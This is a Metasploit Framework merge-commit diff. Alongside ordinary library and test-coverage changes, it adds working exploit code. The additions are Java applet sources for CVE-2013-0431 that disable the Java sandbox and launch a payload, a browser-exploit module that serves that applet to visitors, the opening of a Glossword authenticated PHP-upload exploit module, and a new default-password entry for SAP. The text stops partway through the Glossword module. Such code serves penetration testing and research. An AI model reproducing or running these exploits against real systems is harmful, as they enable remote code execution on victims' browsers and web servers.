Merge branch 'rapid7' into dmaloney-r7-feature/http/authv2
commit
e41922853e
|
@ -0,0 +1,58 @@
|
|||
# RM_INFO is set when using Rubymine. In Rubymine, starting SimpleCov is
|
||||
# controlled by running with coverage, so don't explicitly start coverage (and
|
||||
# therefore generate a report) when in Rubymine. This _will_ generate a report
|
||||
# whenever `rake spec` is run.
|
||||
unless ENV['RM_INFO']
|
||||
SimpleCov.start
|
||||
end
|
||||
|
||||
SimpleCov.configure do
|
||||
# ignore this file
|
||||
add_filter '.simplecov'
|
||||
|
||||
#
|
||||
# Changed Files in Git Group
|
||||
# @see http://fredwu.me/post/35625566267/simplecov-test-coverage-for-changed-files-only
|
||||
#
|
||||
|
||||
untracked = `git ls-files --exclude-standard --others`
|
||||
unstaged = `git diff --name-only`
|
||||
staged = `git diff --name-only --cached`
|
||||
all = untracked + unstaged + staged
|
||||
changed_filenames = all.split("\n")
|
||||
|
||||
add_group 'Changed' do |source_file|
|
||||
changed_filenames.detect { |changed_filename|
|
||||
source_file.filename.end_with?(changed_filename)
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Framework (msf) related groups
|
||||
#
|
||||
|
||||
add_group 'Metasploit Framework', 'lib/msf'
|
||||
add_group 'Metasploit Framework (Base)', 'lib/msf/base'
|
||||
add_group 'Metasploit Framework (Core)', 'lib/msf/core'
|
||||
|
||||
#
|
||||
# Other library groups
|
||||
#
|
||||
|
||||
add_group 'Fastlib', 'lib/fastlib'
|
||||
add_group 'Metasm', 'lib/metasm'
|
||||
add_group 'PacketFu', 'lib/packetfu'
|
||||
add_group 'Rex', 'lib/rex'
|
||||
add_group 'RKelly', 'lib/rkelly'
|
||||
add_group 'Ruby Mysql', 'lib/rbmysql'
|
||||
add_group 'Ruby Postgres', 'lib/postgres'
|
||||
add_group 'SNMP', 'lib/snmp'
|
||||
add_group 'Zip', 'lib/zip'
|
||||
|
||||
#
|
||||
# Specs are reported on to ensure that all examples are being run and all
|
||||
# lets, befores, afters, etc are being used.
|
||||
#
|
||||
|
||||
add_group 'Specs', 'spec'
|
||||
end
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -6,6 +6,7 @@ SAPCPIC ADMIN
|
|||
EARLYWATCH SUPPORT
|
||||
TMSADM PASSWORD
|
||||
TMSADM ADMIN
|
||||
TMSADM $1Pawd2&
|
||||
ADMIN welcome
|
||||
ADSUSER ch4ngeme
|
||||
ADS_AGENT ch4ngeme
|
||||
|
|
|
@ -0,0 +1,19 @@
|
|||
import java.security.AccessController;
|
||||
import java.security.PrivilegedExceptionAction;
|
||||
|
||||
public class B
|
||||
implements PrivilegedExceptionAction
|
||||
{
|
||||
public B()
|
||||
{
|
||||
try
|
||||
{
|
||||
AccessController.doPrivileged(this); } catch (Exception e) {
|
||||
}
|
||||
}
|
||||
|
||||
public Object run() {
|
||||
System.setSecurityManager(null);
|
||||
return new Object();
|
||||
}
|
||||
}
|
|
@ -0,0 +1,93 @@
|
|||
/*
|
||||
* From Paunch with love (Java 1.7.0_11 Exploit)
|
||||
*
|
||||
* Deobfuscated from Cool EK by SecurityObscurity
|
||||
*
|
||||
* https://twitter.com/SecObscurity
|
||||
*/
|
||||
import java.applet.Applet;
|
||||
import com.sun.jmx.mbeanserver.Introspector;
|
||||
import com.sun.jmx.mbeanserver.JmxMBeanServer;
|
||||
import com.sun.jmx.mbeanserver.MBeanInstantiator;
|
||||
import java.lang.invoke.MethodHandle;
|
||||
import java.lang.invoke.MethodHandles.Lookup;
|
||||
import java.lang.invoke.MethodType;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import javax.management.ReflectionException;
|
||||
import java.io.*;
|
||||
import metasploit.Payload;
|
||||
|
||||
public class Exploit extends Applet
|
||||
{
|
||||
|
||||
public void init()
|
||||
{
|
||||
|
||||
try
|
||||
{
|
||||
int length;
|
||||
byte[] buffer = new byte[5000];
|
||||
ByteArrayOutputStream os = new ByteArrayOutputStream();
|
||||
|
||||
// read in the class file from the jar
|
||||
InputStream is = getClass().getResourceAsStream("B.class");
|
||||
|
||||
// and write it out to the byte array stream
|
||||
while( ( length = is.read( buffer ) ) > 0 )
|
||||
os.write( buffer, 0, length );
|
||||
|
||||
// convert it to a simple byte array
|
||||
buffer = os.toByteArray();
|
||||
|
||||
Class class1 = gimmeClass("sun.org.mozilla.javascript.internal.Context");
|
||||
|
||||
Method method = getMethod(class1, "enter", true);
|
||||
Object obj = method.invoke(null, new Object[0]);
|
||||
Method method1 = getMethod(class1, "createClassLoader", false);
|
||||
Object obj1 = method1.invoke(obj, new Object[1]);
|
||||
|
||||
Class class2 = gimmeClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader");
|
||||
Method method2 = getMethod(class2, "defineClass", false);
|
||||
|
||||
Class my_class = (Class)method2.invoke(obj1, new Object[] { null, buffer });
|
||||
my_class.newInstance();
|
||||
|
||||
Payload.main(null);
|
||||
|
||||
}
|
||||
catch (Throwable localThrowable){}
|
||||
|
||||
}
|
||||
|
||||
|
||||
private Method getMethod(Class class1, String s, boolean flag)
|
||||
{
|
||||
try {
|
||||
Method[] amethod = (Method[])Introspector.elementFromComplex(class1, "declaredMethods");
|
||||
Method[] amethod1 = amethod;
|
||||
|
||||
for (int i = 0; i < amethod1.length; i++) {
|
||||
Method method = amethod1[i];
|
||||
String s1 = method.getName();
|
||||
Class[] aclass = method.getParameterTypes();
|
||||
if ((s1 == s) && ((!flag) || (aclass.length == 0))) return method;
|
||||
}
|
||||
} catch (Exception localException) { }
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private Class gimmeClass(String s) throws ReflectionException, ReflectiveOperationException
|
||||
{
|
||||
Object obj = null;
|
||||
JmxMBeanServer jmxmbeanserver = (JmxMBeanServer)JmxMBeanServer.newMBeanServer("", null, null, true);
|
||||
MBeanInstantiator mbeaninstantiator = jmxmbeanserver.getMBeanInstantiator();
|
||||
|
||||
Class class1 = Class.forName("com.sun.jmx.mbeanserver.MBeanInstantiator");
|
||||
Method method = class1.getMethod("findClass", new Class[] { String.class, ClassLoader.class });
|
||||
return (Class)method.invoke(mbeaninstantiator, new Object[] { s, obj });
|
||||
}
|
||||
|
||||
}
|
||||
|
|
@ -0,0 +1,22 @@
|
|||
# rt.jar must be in the classpath!
|
||||
|
||||
CLASSES = \
|
||||
Exploit.java \
|
||||
B.java \
|
||||
Serializer.java
|
||||
|
||||
.SUFFIXES: .java .class
|
||||
.java.class:
|
||||
javac -source 1.2 -target 1.2 -cp "../../../../data/java:." $*.java
|
||||
|
||||
all: $(CLASSES:.java=.class)
|
||||
|
||||
install:
|
||||
java Serializer
|
||||
mv Exploit.class ../../../../data/exploits/cve-2013-0431/
|
||||
mv B.class ../../../../data/exploits/cve-2013-0431/
|
||||
mv Exploit.ser ../../../../data/exploits/cve-2013-0431/
|
||||
|
||||
clean:
|
||||
rm -rf *.class
|
||||
rm -rf *.ser
|
|
@ -0,0 +1,20 @@
|
|||
import java.io.*;
|
||||
|
||||
public class Serializer {
|
||||
|
||||
public static void main(String [ ] args)
|
||||
{
|
||||
try {
|
||||
Exploit b=new Exploit(); // target Applet instance
|
||||
ByteArrayOutputStream baos=new ByteArrayOutputStream();
|
||||
ObjectOutputStream oos=new ObjectOutputStream(baos);
|
||||
oos.writeObject(b);
|
||||
FileOutputStream fos=new FileOutputStream("Exploit.ser");
|
||||
fos.write(baos.toByteArray());
|
||||
fos.close();
|
||||
} catch (Exception ex) {
|
||||
ex.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
}
|
|
@ -497,6 +497,14 @@ class DBManager
|
|||
|
||||
m.targets.each_index do |i|
|
||||
bits << [ :target, { :index => i, :name => m.targets[i].name.to_s } ]
|
||||
if m.targets[i].platform
|
||||
m.targets[i].platform.platforms.each do |name|
|
||||
bits << [ :platform, { :name => name.to_s.split('::').last.downcase } ]
|
||||
end
|
||||
end
|
||||
if m.targets[i].arch
|
||||
bits << [ :arch, { :name => m.targets[i].arch.to_s } ]
|
||||
end
|
||||
end
|
||||
|
||||
if (m.default_target)
|
||||
|
@ -525,7 +533,7 @@ class DBManager
|
|||
res[:stance] = m.passive? ? "passive" : "aggressive"
|
||||
end
|
||||
|
||||
res[:bits] = bits
|
||||
res[:bits] = bits.uniq
|
||||
|
||||
res
|
||||
end
|
||||
|
|
|
@ -89,7 +89,7 @@ class Core
|
|||
"kill" => "Kill a job",
|
||||
"load" => "Load a framework plugin",
|
||||
"loadpath" => "Searches for and loads modules from a path",
|
||||
"popm" => "Pops the latest module off of the module stack and makes it active",
|
||||
"popm" => "Pops the latest module off the stack and makes it active",
|
||||
"pushm" => "Pushes the active or list of modules onto the module stack",
|
||||
"previous" => "Sets the previously loaded module as the current module",
|
||||
"quit" => "Exit the console",
|
||||
|
|
|
@ -4,14 +4,15 @@ require 'digest/sha1'
|
|||
require 'stringio'
|
||||
require 'cgi'
|
||||
|
||||
begin
|
||||
old_verbose = $VERBOSE
|
||||
$VERBOSE = nil
|
||||
require 'iconv'
|
||||
require 'zlib'
|
||||
rescue ::LoadError
|
||||
ensure
|
||||
$VERBOSE = old_verbose
|
||||
%W{ iconv zlib }.each do |libname|
|
||||
begin
|
||||
old_verbose = $VERBOSE
|
||||
$VERBOSE = nil
|
||||
require libname
|
||||
rescue ::LoadError
|
||||
ensure
|
||||
$VERBOSE = old_verbose
|
||||
end
|
||||
end
|
||||
|
||||
module Rex
|
||||
|
@ -157,6 +158,12 @@ module Text
|
|||
# Converts ISO-8859-1 to UTF-8
|
||||
#
|
||||
def self.to_utf8(str)
|
||||
|
||||
if str.respond_to?(:encode)
|
||||
# Skip over any bytes that fail to convert to UTF-8
|
||||
return str.encode('utf-8', { :invalid => :replace, :undef => :replace, :replace => '' })
|
||||
end
|
||||
|
||||
begin
|
||||
Iconv.iconv("utf-8","iso-8859-1", str).join(" ")
|
||||
rescue
|
||||
|
|
|
@ -1,3 +1,4 @@
|
|||
# -*- coding: binary -*-
|
||||
module RKelly
|
||||
module Visitors
|
||||
class EvaluationVisitor < Visitor
|
||||
|
|
159
lib/zip/zip.rb
159
lib/zip/zip.rb
|
@ -1,6 +1,11 @@
|
|||
# encoding: ASCII-8BIT
|
||||
require 'delegate'
|
||||
require 'iconv'
|
||||
|
||||
begin
|
||||
require 'iconv'
|
||||
rescue ::LoadError
|
||||
end
|
||||
|
||||
require 'singleton'
|
||||
require 'tempfile'
|
||||
require 'fileutils'
|
||||
|
@ -140,15 +145,13 @@ module Zip
|
|||
def open_entry
|
||||
@currentEntry = ZipEntry.read_local_entry(@archiveIO)
|
||||
if (@currentEntry == nil)
|
||||
@decompressor = NullDecompressor.instance
|
||||
@decompressor = NullDecompressor.instance
|
||||
elsif @currentEntry.compression_method == ZipEntry::STORED
|
||||
@decompressor = PassThruDecompressor.new(@archiveIO,
|
||||
@currentEntry.size)
|
||||
@decompressor = PassThruDecompressor.new(@archiveIO, @currentEntry.size)
|
||||
elsif @currentEntry.compression_method == ZipEntry::DEFLATED
|
||||
@decompressor = Inflater.new(@archiveIO)
|
||||
@decompressor = Inflater.new(@archiveIO)
|
||||
else
|
||||
raise ZipCompressionMethodError,
|
||||
"Unsupported compression method #{@currentEntry.compression_method}"
|
||||
raise ZipCompressionMethodError, "Unsupported compression method #{@currentEntry.compression_method}"
|
||||
end
|
||||
flush
|
||||
return @currentEntry
|
||||
|
@ -184,8 +187,8 @@ module Zip
|
|||
def sysread(numberOfBytes = nil, buf = nil)
|
||||
readEverything = (numberOfBytes == nil)
|
||||
while (readEverything || @outputBuffer.length < numberOfBytes)
|
||||
break if internal_input_finished?
|
||||
@outputBuffer << internal_produce_input(buf)
|
||||
break if internal_input_finished?
|
||||
@outputBuffer << internal_produce_input(buf)
|
||||
end
|
||||
return value_when_finished if @outputBuffer.length==0 && input_finished?
|
||||
endIndex= numberOfBytes==nil ? @outputBuffer.length : numberOfBytes
|
||||
|
@ -194,9 +197,9 @@ module Zip
|
|||
|
||||
def produce_input
|
||||
if (@outputBuffer.empty?)
|
||||
return internal_produce_input
|
||||
return internal_produce_input
|
||||
else
|
||||
return @outputBuffer.slice!(0...(@outputBuffer.length))
|
||||
return @outputBuffer.slice!(0...(@outputBuffer.length))
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -244,14 +247,14 @@ module Zip
|
|||
# TODO: Specialize to handle different behaviour in ruby > 1.7.0 ?
|
||||
def sysread(numberOfBytes = nil, buf = nil)
|
||||
if input_finished?
|
||||
hasReturnedEmptyStringVal=@hasReturnedEmptyString
|
||||
@hasReturnedEmptyString=true
|
||||
return "" unless hasReturnedEmptyStringVal
|
||||
return nil
|
||||
hasReturnedEmptyStringVal=@hasReturnedEmptyString
|
||||
@hasReturnedEmptyString=true
|
||||
return "" unless hasReturnedEmptyStringVal
|
||||
return nil
|
||||
end
|
||||
|
||||
if (numberOfBytes == nil || @readSoFar+numberOfBytes > @charsToRead)
|
||||
numberOfBytes = @charsToRead-@readSoFar
|
||||
numberOfBytes = @charsToRead-@readSoFar
|
||||
end
|
||||
@readSoFar += numberOfBytes
|
||||
@inputStream.read(numberOfBytes, buf)
|
||||
|
@ -356,14 +359,28 @@ module Zip
|
|||
(@gp_flags & 0b100000000000) != 0 ? "utf8" : "CP437//"
|
||||
end
|
||||
|
||||
# Returns the name in the encoding specified by enc
|
||||
def name_in(enc)
|
||||
Iconv.conv(enc, name_encoding, @name)
|
||||
|
||||
# Converts string encoding
|
||||
def encode_string(str, src, dst)
|
||||
if str.respond_to?(:encode)
|
||||
str.encode(dst, { :invalid => :replace, :undef => :replace, :replace => '' })
|
||||
else
|
||||
begin
|
||||
Iconv.conv(dst, src, str)
|
||||
rescue
|
||||
raise ::RuntimeError, "Your installation does not support iconv (needed for utf8 conversion)"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Returns the name in the encoding specified by enc
|
||||
def name_in(enc)
|
||||
encode_string(@name, name_encoding, enc)
|
||||
end
|
||||
|
||||
# Returns the comment in the encoding specified by enc
|
||||
def comment_in(enc)
|
||||
Iconv.conv(enc, name_encoding, @name)
|
||||
encode_string(@comment, name_encoding, enc)
|
||||
end
|
||||
|
||||
def initialize(zipfile = "", name = "", comment = "", extra = "",
|
||||
|
@ -372,7 +389,7 @@ module Zip
|
|||
time = Time.now)
|
||||
super()
|
||||
if name.starts_with("/")
|
||||
raise ZipEntryNameError, "Illegal ZipEntry name '#{name}', name must not start with /"
|
||||
raise ZipEntryNameError, "Illegal ZipEntry name '#{name}', name must not start with /"
|
||||
end
|
||||
@localHeaderOffset = 0
|
||||
@local_header_size = 0
|
||||
|
@ -484,9 +501,9 @@ module Zip
|
|||
onExistsProc ||= proc { false }
|
||||
|
||||
if directory?
|
||||
create_directory(destPath, &onExistsProc)
|
||||
create_directory(destPath, &onExistsProc)
|
||||
elsif file?
|
||||
write_file(destPath, &onExistsProc)
|
||||
write_file(destPath, &onExistsProc)
|
||||
elsif symlink?
|
||||
create_symlink(destPath, &onExistsProc)
|
||||
else
|
||||
|
@ -520,24 +537,24 @@ module Zip
|
|||
@localHeaderOffset = io.tell
|
||||
staticSizedFieldsBuf = io.read(LOCAL_ENTRY_STATIC_HEADER_LENGTH)
|
||||
unless (staticSizedFieldsBuf.size==LOCAL_ENTRY_STATIC_HEADER_LENGTH)
|
||||
raise ZipError, "Premature end of file. Not enough data for zip entry local header"
|
||||
raise ZipError, "Premature end of file. Not enough data for zip entry local header"
|
||||
end
|
||||
|
||||
@header_signature ,
|
||||
@version ,
|
||||
@fstype ,
|
||||
@gp_flags ,
|
||||
@compression_method,
|
||||
lastModTime ,
|
||||
lastModDate ,
|
||||
@crc ,
|
||||
@compressed_size ,
|
||||
@size ,
|
||||
nameLength ,
|
||||
extraLength = staticSizedFieldsBuf.unpack('VCCvvvvVVVvv')
|
||||
@version ,
|
||||
@fstype ,
|
||||
@gp_flags ,
|
||||
@compression_method,
|
||||
lastModTime ,
|
||||
lastModDate ,
|
||||
@crc ,
|
||||
@compressed_size ,
|
||||
@size ,
|
||||
nameLength ,
|
||||
extraLength = staticSizedFieldsBuf.unpack('VCCvvvvVVVvv')
|
||||
|
||||
unless (@header_signature == LOCAL_ENTRY_SIGNATURE)
|
||||
raise ZipError, "Zip local header magic not found at location '#{localHeaderOffset}'"
|
||||
raise ZipError, "Zip local header magic not found at location '#{localHeaderOffset}'"
|
||||
end
|
||||
set_time(lastModDate, lastModTime)
|
||||
|
||||
|
@ -546,7 +563,7 @@ module Zip
|
|||
extra = io.read(extraLength)
|
||||
|
||||
if (extra && extra.length != extraLength)
|
||||
raise ZipError, "Truncated local zip entry header"
|
||||
raise ZipError, "Truncated local zip entry header"
|
||||
else
|
||||
if ZipExtraField === @extra
|
||||
@extra.merge(extra)
|
||||
|
@ -569,17 +586,17 @@ module Zip
|
|||
@localHeaderOffset = io.tell
|
||||
|
||||
io <<
|
||||
[LOCAL_ENTRY_SIGNATURE ,
|
||||
VERSION_NEEDED_TO_EXTRACT , # version needed to extract
|
||||
0 , # @gp_flags ,
|
||||
@compression_method ,
|
||||
@time.to_binary_dos_time , # @lastModTime ,
|
||||
@time.to_binary_dos_date , # @lastModDate ,
|
||||
@crc ,
|
||||
@compressed_size ,
|
||||
@size ,
|
||||
@name ? @name.length : 0,
|
||||
@extra? @extra.local_length : 0 ].pack('VvvvvvVVVvv')
|
||||
[LOCAL_ENTRY_SIGNATURE ,
|
||||
VERSION_NEEDED_TO_EXTRACT , # version needed to extract
|
||||
0 , # @gp_flags ,
|
||||
@compression_method ,
|
||||
@time.to_binary_dos_time , # @lastModTime ,
|
||||
@time.to_binary_dos_date , # @lastModDate ,
|
||||
@crc ,
|
||||
@compressed_size ,
|
||||
@size ,
|
||||
@name ? @name.length : 0,
|
||||
@extra? @extra.local_length : 0 ].pack('VvvvvvVVVvv')
|
||||
io << @name
|
||||
io << (@extra ? @extra.to_local_bin : "")
|
||||
end
|
||||
|
@ -590,33 +607,33 @@ module Zip
|
|||
def read_c_dir_entry(io) #:nodoc:all
|
||||
staticSizedFieldsBuf = io.read(CDIR_ENTRY_STATIC_HEADER_LENGTH)
|
||||
unless (staticSizedFieldsBuf.size == CDIR_ENTRY_STATIC_HEADER_LENGTH)
|
||||
raise ZipError, "Premature end of file. Not enough data for zip cdir entry header"
|
||||
raise ZipError, "Premature end of file. Not enough data for zip cdir entry header"
|
||||
end
|
||||
|
||||
@header_signature ,
|
||||
@version , # version of encoding software
|
||||
@fstype , # filesystem type
|
||||
@versionNeededToExtract,
|
||||
@gp_flags ,
|
||||
@compression_method ,
|
||||
lastModTime ,
|
||||
lastModDate ,
|
||||
@crc ,
|
||||
@compressed_size ,
|
||||
@size ,
|
||||
nameLength ,
|
||||
extraLength ,
|
||||
commentLength ,
|
||||
diskNumberStart ,
|
||||
@internalFileAttributes,
|
||||
@externalFileAttributes,
|
||||
@localHeaderOffset ,
|
||||
@name ,
|
||||
@extra ,
|
||||
@comment = staticSizedFieldsBuf.unpack('VCCvvvvvVVVvvvvvVV')
|
||||
@version , # version of encoding software
|
||||
@fstype , # filesystem type
|
||||
@versionNeededToExtract,
|
||||
@gp_flags ,
|
||||
@compression_method ,
|
||||
lastModTime ,
|
||||
lastModDate ,
|
||||
@crc ,
|
||||
@compressed_size ,
|
||||
@size ,
|
||||
nameLength ,
|
||||
extraLength ,
|
||||
commentLength ,
|
||||
diskNumberStart ,
|
||||
@internalFileAttributes,
|
||||
@externalFileAttributes,
|
||||
@localHeaderOffset ,
|
||||
@name ,
|
||||
@extra ,
|
||||
@comment = staticSizedFieldsBuf.unpack('VCCvvvvvVVVvvvvvVV')
|
||||
|
||||
unless (@header_signature == CENTRAL_DIRECTORY_ENTRY_SIGNATURE)
|
||||
raise ZipError, "Zip local header magic not found at location '#{localHeaderOffset}'"
|
||||
raise ZipError, "Zip local header magic not found at location '#{localHeaderOffset}'"
|
||||
end
|
||||
set_time(lastModDate, lastModTime)
|
||||
|
||||
|
@ -628,7 +645,7 @@ module Zip
|
|||
end
|
||||
@comment = io.read(commentLength)
|
||||
unless (@comment && @comment.length == commentLength)
|
||||
raise ZipError, "Truncated cdir zip entry header"
|
||||
raise ZipError, "Truncated cdir zip entry header"
|
||||
end
|
||||
|
||||
case @fstype
|
||||
|
|
|
@ -0,0 +1,143 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
include Msf::Exploit::Remote::BrowserAutopwn
|
||||
autopwn_info({ :javascript => false })
|
||||
|
||||
def initialize( info = {} )
|
||||
|
||||
super( update_info( info,
|
||||
'Name' => 'Java Applet JMX Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module abuses the JMX classes from a Java Applet to run arbitrary Java code
|
||||
outside of the sandbox as exploited in the wild in February of 2013. Additionally,
|
||||
this module bypasses default security settings introduced in Java 7 Update 10 to run
|
||||
unsigned applet without displaying any warning to the user.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Unknown', # Vulnerability discovery and exploit in the wild
|
||||
'Adam Gowdiak', # Vulnerability discovery
|
||||
'SecurityObscurity', # Exploit analysis and deobfuscation
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-0431' ],
|
||||
[ 'OSVDB', '89613' ],
|
||||
[ 'BID', '57726' ],
|
||||
[ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-8.pdf' ],
|
||||
[ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-9.pdf' ],
|
||||
[ 'URL', 'http://security-obscurity.blogspot.com.es/2013/01/about-new-java-0-day-vulnerability.html' ],
|
||||
[ 'URL', 'http://pastebin.com/QWU1rqjf' ],
|
||||
[ 'URL', 'http://malware.dontneedcoffee.com/2013/02/cve-2013-0431-java-17-update-11.html' ]
|
||||
],
|
||||
'Platform' => [ 'java', 'win', 'osx', 'linux' ],
|
||||
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Generic (Java Payload)',
|
||||
{
|
||||
'Platform' => ['java'],
|
||||
'Arch' => ARCH_JAVA,
|
||||
}
|
||||
],
|
||||
[ 'Windows x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
}
|
||||
],
|
||||
[ 'Mac OS X x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86,
|
||||
}
|
||||
],
|
||||
[ 'Linux x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jan 19 2013'
|
||||
))
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
print_status("handling request for #{request.uri}")
|
||||
|
||||
case request.uri
|
||||
when /\.jar$/i
|
||||
print_status("Sending JAR")
|
||||
send_response( cli, generate_jar, { 'Content-Type' => "application/octet-stream" } )
|
||||
when /\/$/
|
||||
print_status("Sending HTML")
|
||||
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
|
||||
else
|
||||
send_redirect(cli, get_resource() + '/', '')
|
||||
end
|
||||
end
|
||||
|
||||
def generate_jar
|
||||
paths = [
|
||||
[ "Exploit.ser" ],
|
||||
[ "Exploit.class" ],
|
||||
[ "B.class" ]
|
||||
]
|
||||
|
||||
p = regenerate_payload(cli)
|
||||
|
||||
jar = p.encoded_jar
|
||||
|
||||
paths.each do |path|
|
||||
1.upto(path.length - 1) do |idx|
|
||||
full = path[0,idx].join("/") + "/"
|
||||
if !(jar.entries.map{|e|e.name}.include?(full))
|
||||
jar.add_file(full, '')
|
||||
end
|
||||
end
|
||||
fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2013-0431", path ), "rb")
|
||||
data = fd.read(fd.stat.size)
|
||||
jar.add_file(path.join("/"), data)
|
||||
fd.close
|
||||
end
|
||||
return jar.pack
|
||||
end
|
||||
|
||||
def generate_html
|
||||
html = <<-EOF
|
||||
<html>
|
||||
<script language="Javascript">
|
||||
|
||||
var _app = navigator.appName;
|
||||
|
||||
if (_app == 'Microsoft Internet Explorer') {
|
||||
document.write('<applet archive="#{rand_text_alpha(4+rand(4))}.jar" object="Exploit.ser"></applet>');
|
||||
} else {
|
||||
document.write('<embed object="Exploit.ser" type="application/x-java-applet;version=1.6" archive="#{rand_text_alpha(4+rand(4))}.jar"></embed>');
|
||||
}
|
||||
|
||||
</script>
|
||||
</html>
|
||||
EOF
|
||||
return html
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,192 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Glossword v1.8.8 - 1.8.12 Arbitrary File Upload Vulnerability",
|
||||
'Description' => %q{
|
||||
This module exploits a file upload vulnerability in Glossword
|
||||
versions 1.8.8 to 1.8.12 when run as a standalone application.
|
||||
This application has an upload feature that allows an authenticated user
|
||||
with administrator roles to upload arbitrary files to the 'gw_temp/a/'
|
||||
directory.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'AkaStep', # Discovery
|
||||
'Brendan Coles <bcoles[at]gmail.com>' # metasploit exploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '24456' ],
|
||||
[ 'OSVDB' '89960' ]
|
||||
],
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [['Automatic Targeting', { 'auto' => true }]],
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => "Feb 05 2013",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The path to the web application', '/glossword/1.8/']),
|
||||
OptString.new('USERNAME', [true, 'The username for Glossword', 'admin']),
|
||||
OptString.new('PASSWORD', [true, 'The password for Glossword', 'admin'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
|
||||
base = target_uri.path
|
||||
peer = "#{rhost}:#{rport}"
|
||||
user = datastore['USERNAME']
|
||||
pass = datastore['PASSWORD']
|
||||
|
||||
# login
|
||||
print_status("#{peer} - Authenticating as user '#{user}'")
|
||||
begin
|
||||
res = login(base, user, pass)
|
||||
if res
|
||||
if res.code == 200
|
||||
print_error("#{peer} - Authentication failed")
|
||||
return Exploit::CheckCode::Unknown
|
||||
elsif res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/
|
||||
print_good("#{peer} - Authenticated successfully")
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
print_error("#{peer} - Connection failed")
|
||||
end
|
||||
return Exploit::CheckCode::Unknown
|
||||
|
||||
end
|
||||
|
||||
def on_new_session(client)
|
||||
if client.type == "meterpreter"
|
||||
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
|
||||
client.fs.file.rm("#{@fname}")
|
||||
else
|
||||
client.shell_command_token("rm #{@fname}")
|
||||
end
|
||||
end
|
||||
|
||||
def upload(base, sid, fname, file)
|
||||
|
||||
user = datastore['USERNAME']
|
||||
pass = datastore['PASSWORD']
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part(file, 'application/x-php', nil, "form-data; name=\"file_location\"; filename=\"#{fname}\"")
|
||||
data.add_part("edit-own", nil, nil, 'form-data; name="a"')
|
||||
data.add_part("users", nil, nil, 'form-data; name="t"')
|
||||
data.add_part("Save", nil, nil, 'form-data; name="post"')
|
||||
data.add_part("#{sid}", nil, nil, 'form-data; name="sid"')
|
||||
data.add_part("#{user}", nil, nil, 'form-data; name="arPost[login]"')
|
||||
data.add_part("#{pass}", nil, nil, 'form-data; name="arPost[pass_new]"')
|
||||
data.add_part("#{pass}", nil, nil, 'form-data; name="arPost[pass_confirm]"')
|
||||
|
||||
data_post = data.to_s
|
||||
data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(base, 'gw_admin.php'),
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => data_post,
|
||||
})
|
||||
|
||||
return res
|
||||
end
|
||||
|
||||
def login(base, user, pass)
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(base, 'gw_login.php'),
|
||||
